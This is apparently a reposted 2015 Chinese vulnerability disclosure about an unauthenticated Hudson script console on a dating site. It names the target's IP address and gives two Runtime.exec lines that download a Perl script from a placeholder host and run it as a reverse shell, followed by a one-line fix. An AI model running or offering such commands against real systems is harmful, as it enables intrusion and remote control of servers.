首家实名制相亲平台我在找你任意命令执行 - 网-自学php网

主页 > 后端 > 网站安全 >

首家实名制相亲平台我在找你任意命令执行 - 网

来源：自学PHP网时间：2015-04-17 13:02 作者：阅读:次

[导读] Hudson版本太低，无用户验证功能，可直接任意执行系统命令漏洞证明：http://59.151.1.116:8080/script反弹shelljava.lang.Runtime.getRuntime().exec(#39;wget http://www.XXX.com/uploads/XX.pl -O /tmp/XX......

Hudson版本太低，无用户验证功能，可直接任意执行系统命令

漏洞证明：http://59.151.1.116:8080/script
反弹shell

java.lang.Runtime.getRuntime().exec('wget http://www.XXX.com/uploads/XX.pl -O /tmp/XX.pl')

java.lang.Runtime.getRuntime().exec('perl /tmp/XX.pl xxx.xxx.xxx.xxx XX')

修复方案：

升级，添加验证

作者 Z-0ne

拍客piikee竞拍网站系统注射漏洞及修复 - 网站安

千博企业网站管理系统HitCount.Asp页面注入漏洞

最新评论

加载更多~~

添加评论

更多文章推荐

FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION - 网站安全 2015-04-16
一个变态的7验证4语言OA系统 - 网站安全 - 自学 2015-04-17
世界大学城盲注和显错注入 - 网站安全 - 自学p 2015-04-17
让千千静听不再弹出广告 - Windows操作系统 - 自学 2015-04-17
Bonza Digital Cart脚本注射缺陷及修复 - 网站安全 2015-04-17
使用动态sql的方法防止sql注入 - 网站安全 - 自学 2015-04-17
Discuz附件下载权限绕过方法 - 网站安全 - 自学p 2015-04-16
Artiphp CMS 5.5.0数据库备份泄露Exploit - 网站安全 2015-04-17
麦考林任意妹纸密码重置 - 网站安全 - 自学php 2015-04-17
绝密!为WindowsXP设置一个隐形密码 - Windows操作系统 2015-04-17

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com



添加评论